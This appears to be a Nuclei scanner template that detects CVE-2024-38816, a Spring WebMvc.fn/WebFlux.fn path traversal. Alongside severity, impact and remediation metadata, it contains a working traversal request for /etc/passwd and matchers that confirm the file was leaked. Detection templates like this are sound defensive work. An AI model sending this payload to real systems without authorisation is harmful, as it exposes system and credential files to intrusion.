WebMvc.fn/WebFlux.fn - Path Traversal

id: CVE-2024-38816

info:
  name: WebMvc.fn/WebFlux.fn - Path Traversal
  author: pussycat0x
  severity: high
  description: |
    Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.
  impact: |
    Unauthenticated attackers can exploit path traversal to read any file accessible to the Spring application process, potentially exposing sensitive configuration files, credentials, and application data.
  remediation: |
    Upgrade to Spring Framework versions that address this path traversal vulnerability or disable static resource serving through functional web frameworks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38816
    - https://github.com/masa42/CVE-2024-38816-PoC
    - https://spring.io/security/cve-2024-38816
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38816
    epss-score: 0.14718
    epss-percentile: 0.96263
  tags: cve,cve2024,spring,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/link/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: regex
        part: content_type
        regex:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e4124d0c13a666b85473011e96a74a30cdeb62c5f3eedea9cd52becb1866305b02205a08f7b81153e275427c1927d3fce82217b32013702e5a3f386dcde0be84e158:922c64590222798bb761d5b6d8e72950